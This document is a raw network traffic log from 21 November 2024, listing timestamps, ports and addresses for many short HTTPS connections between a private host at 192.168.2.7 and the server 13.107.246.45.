Nov 21, 2024 00:04:04.143220901 CET	49956	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.143265009 CET	443	49956	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.143368959 CET	49956	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.143506050 CET	49956	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.143522024 CET	443	49956	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.211358070 CET	443	49953	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.212143898 CET	49953	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.212169886 CET	443	49953	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.212591887 CET	49953	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.212599039 CET	443	49953	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.531363964 CET	443	49952	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.534491062 CET	443	49952	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.534629107 CET	49952	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.534692049 CET	49952	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.534714937 CET	443	49952	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.534729958 CET	49952	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.534737110 CET	443	49952	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.538106918 CET	49957	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.538149118 CET	443	49957	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.538239956 CET	49957	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.538414001 CET	49957	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.538429022 CET	443	49957	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.645505905 CET	443	49953	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.648520947 CET	443	49953	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.648577929 CET	443	49953	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.648621082 CET	49953	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.648658037 CET	49953	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.648734093 CET	49953	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.648755074 CET	443	49953	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.648768902 CET	49953	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.648776054 CET	443	49953	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.652112961 CET	49958	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.652151108 CET	443	49958	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.652246952 CET	49958	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.652466059 CET	49958	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.652486086 CET	443	49958	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.938666105 CET	443	49954	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.939801931 CET	49954	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.939862013 CET	443	49954	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:04.940787077 CET	49954	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:04.940794945 CET	443	49954	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.065793991 CET	443	49955	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.066349030 CET	49955	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.066394091 CET	443	49955	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.066956997 CET	49955	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.066963911 CET	443	49955	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.451289892 CET	443	49954	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.454385996 CET	443	49954	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.454487085 CET	49954	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.454519033 CET	49954	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.454534054 CET	443	49954	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.454544067 CET	49954	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.454549074 CET	443	49954	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.457911968 CET	49959	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.457962990 CET	443	49959	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.458050013 CET	49959	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.458230972 CET	49959	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.458244085 CET	443	49959	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.501240969 CET	443	49955	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.504174948 CET	443	49955	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.504230022 CET	443	49955	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.504267931 CET	49955	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.504302025 CET	49955	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.504357100 CET	49955	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.504379034 CET	443	49955	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.504391909 CET	49955	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.504398108 CET	443	49955	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.507386923 CET	49960	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.507416964 CET	443	49960	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.507500887 CET	49960	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.507661104 CET	49960	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.507672071 CET	443	49960	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.939415932 CET	443	49956	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.940248013 CET	49956	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.940274954 CET	443	49956	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:05.940849066 CET	49956	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:05.940857887 CET	443	49956	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.384385109 CET	443	49956	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.387435913 CET	443	49956	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.387533903 CET	49956	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.387584925 CET	49956	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.387597084 CET	443	49956	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.387609005 CET	49956	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.387614012 CET	443	49956	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.390996933 CET	49961	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.391097069 CET	443	49961	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.391192913 CET	49961	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.391365051 CET	49961	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.391402006 CET	443	49961	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.406747103 CET	443	49957	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.407210112 CET	49957	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.407239914 CET	443	49957	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.407818079 CET	49957	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.407824993 CET	443	49957	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.497150898 CET	443	49958	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.497627020 CET	49958	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.497663975 CET	443	49958	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.498159885 CET	49958	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.498169899 CET	443	49958	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.857620001 CET	443	49957	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.861020088 CET	443	49957	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.861121893 CET	49957	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.861181974 CET	49957	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.861206055 CET	443	49957	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.861222029 CET	49957	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.861229897 CET	443	49957	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.864578962 CET	49962	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.864612103 CET	443	49962	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.864708900 CET	49962	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.864870071 CET	49962	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.864885092 CET	443	49962	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.949655056 CET	443	49958	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.952723980 CET	443	49958	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.952851057 CET	49958	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.952893972 CET	49958	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.952893972 CET	49958	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.952913046 CET	443	49958	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.952923059 CET	443	49958	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.956537008 CET	49963	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.956635952 CET	443	49963	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:06.956744909 CET	49963	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.956895113 CET	49963	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:06.956929922 CET	443	49963	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.241645098 CET	443	49959	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.242199898 CET	49959	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.242230892 CET	443	49959	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.242834091 CET	49959	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.242841005 CET	443	49959	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.286983967 CET	443	49960	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.287606001 CET	49960	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.287625074 CET	443	49960	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.288238049 CET	49960	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.288244009 CET	443	49960	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.692600012 CET	443	49959	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.695764065 CET	443	49959	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.695849895 CET	49959	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.696118116 CET	49959	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.696118116 CET	49959	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.696135044 CET	443	49959	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.696146965 CET	443	49959	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.699346066 CET	49964	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.699394941 CET	443	49964	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.699491024 CET	49964	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.699726105 CET	49964	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.699745893 CET	443	49964	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.730467081 CET	443	49960	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.733570099 CET	443	49960	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.733649015 CET	49960	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.733704090 CET	49960	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.733717918 CET	443	49960	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.733730078 CET	49960	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.733735085 CET	443	49960	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.737341881 CET	49965	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.737373114 CET	443	49965	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:07.737441063 CET	49965	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.737730026 CET	49965	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:07.737744093 CET	443	49965	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.175791979 CET	443	49961	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.176280975 CET	49961	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.176296949 CET	443	49961	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.176923037 CET	49961	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.176928043 CET	443	49961	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.618393898 CET	443	49961	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.621792078 CET	443	49961	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.622046947 CET	49961	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.622132063 CET	49961	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.622147083 CET	443	49961	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.622165918 CET	49961	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.622174978 CET	443	49961	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.625180960 CET	49966	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.625230074 CET	443	49966	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.625474930 CET	49966	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.625699043 CET	49966	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.625729084 CET	443	49966	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.643188953 CET	443	49962	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.643996954 CET	49962	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.644013882 CET	443	49962	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.644654989 CET	49962	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.644663095 CET	443	49962	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.735497952 CET	443	49963	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.738073111 CET	49963	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.738110065 CET	443	49963	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:08.738723993 CET	49963	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:08.738781929 CET	443	49963	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.088387012 CET	443	49962	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.090053082 CET	443	49962	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.093054056 CET	49962	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.093085051 CET	49962	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.093105078 CET	443	49962	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.093116045 CET	49962	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.093122005 CET	443	49962	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.095940113 CET	49967	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.095983028 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.096056938 CET	49967	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.096196890 CET	49967	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.096206903 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.179828882 CET	443	49963	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.182853937 CET	443	49963	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.182903051 CET	443	49963	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.182940006 CET	49963	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.183008909 CET	49963	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.183059931 CET	49963	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.183101892 CET	443	49963	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.183130980 CET	49963	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.183147907 CET	443	49963	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.185949087 CET	49968	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.185996056 CET	443	49968	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.186099052 CET	49968	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.186335087 CET	49968	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.186367035 CET	443	49968	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.548810959 CET	443	49964	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.549254894 CET	49964	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.549298048 CET	443	49964	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.549701929 CET	49964	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.549714088 CET	443	49964	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.579632044 CET	443	49965	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.580075026 CET	49965	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.580096006 CET	443	49965	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:09.580547094 CET	49965	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:09.580557108 CET	443	49965	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.001688004 CET	443	49964	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.004837990 CET	443	49964	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.004930019 CET	49964	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.005000114 CET	49964	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.005000114 CET	49964	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.005026102 CET	443	49964	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.005038023 CET	443	49964	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.008210897 CET	49969	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.008251905 CET	443	49969	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.008347034 CET	49969	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.008569002 CET	49969	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.008583069 CET	443	49969	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.035099030 CET	443	49965	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.038322926 CET	443	49965	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.038393021 CET	49965	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.038491011 CET	49965	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.038511992 CET	443	49965	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.038523912 CET	49965	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.038532019 CET	443	49965	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.041996956 CET	49970	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.042094946 CET	443	49970	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.042184114 CET	49970	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.042332888 CET	49970	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.042385101 CET	443	49970	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.408951044 CET	443	49966	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.409490108 CET	49966	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.409506083 CET	443	49966	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.409923077 CET	49966	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.409929991 CET	443	49966	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.835529089 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.836096048 CET	49967	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.836105108 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.836579084 CET	49967	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.836582899 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.958133936 CET	443	49966	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.961224079 CET	443	49966	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.961390018 CET	49966	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.961390018 CET	49966	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.963212967 CET	49966	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.963227034 CET	443	49966	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.965579987 CET	49971	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.965615034 CET	443	49971	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.965693951 CET	49971	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.965893030 CET	49971	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:10.965909004 CET	443	49971	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:10.999651909 CET	443	49968	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.000134945 CET	49968	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.000188112 CET	443	49968	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.000739098 CET	49968	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.000747919 CET	443	49968	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.274353027 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.274374962 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.274461985 CET	49967	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.274478912 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.274645090 CET	49967	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.274652004 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.274681091 CET	49967	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.274818897 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.274848938 CET	443	49967	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.274892092 CET	49967	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.277228117 CET	49972	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.277257919 CET	443	49972	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.277343988 CET	49972	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.277475119 CET	49972	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.277487040 CET	443	49972	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.444927931 CET	443	49968	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.448040962 CET	443	49968	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.448118925 CET	49968	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.448121071 CET	443	49968	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.448191881 CET	49968	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.448230982 CET	49968	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.448254108 CET	443	49968	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.448266983 CET	49968	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.448273897 CET	443	49968	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.450745106 CET	49973	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.450792074 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.450938940 CET	49973	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.451137066 CET	49973	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.451153040 CET	443	49973	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.744900942 CET	443	49969	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.745632887 CET	49969	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.745649099 CET	443	49969	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.746262074 CET	49969	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.746270895 CET	443	49969	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.833223104 CET	443	49970	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.834145069 CET	49970	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.834216118 CET	443	49970	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:11.834737062 CET	49970	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:11.834755898 CET	443	49970	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.186114073 CET	443	49969	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.189378977 CET	443	49969	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.189429998 CET	443	49969	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.189480066 CET	49969	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.189528942 CET	49969	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.189590931 CET	49969	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.189615965 CET	443	49969	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.189630985 CET	49969	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.189637899 CET	443	49969	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.192913055 CET	49974	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.192960978 CET	443	49974	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.193048000 CET	49974	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.193197012 CET	49974	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.193212032 CET	443	49974	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.274490118 CET	443	49970	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.277885914 CET	443	49970	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.277985096 CET	49970	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.278065920 CET	49970	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.278065920 CET	49970	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.278105974 CET	443	49970	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.278131962 CET	443	49970	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.281364918 CET	49975	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.281397104 CET	443	49975	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.281477928 CET	49975	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.281703949 CET	49975	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.281718016 CET	443	49975	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.765122890 CET	443	49971	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.781363964 CET	49971	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.781394958 CET	443	49971	13.107.246.45	192.168.2.7
Nov 21, 2024 00:04:12.781955004 CET	49971	443	192.168.2.7	13.107.246.45
Nov 21, 2024 00:04:12.781964064 CET	443	49971	13.107.246.45	192.168.2.7
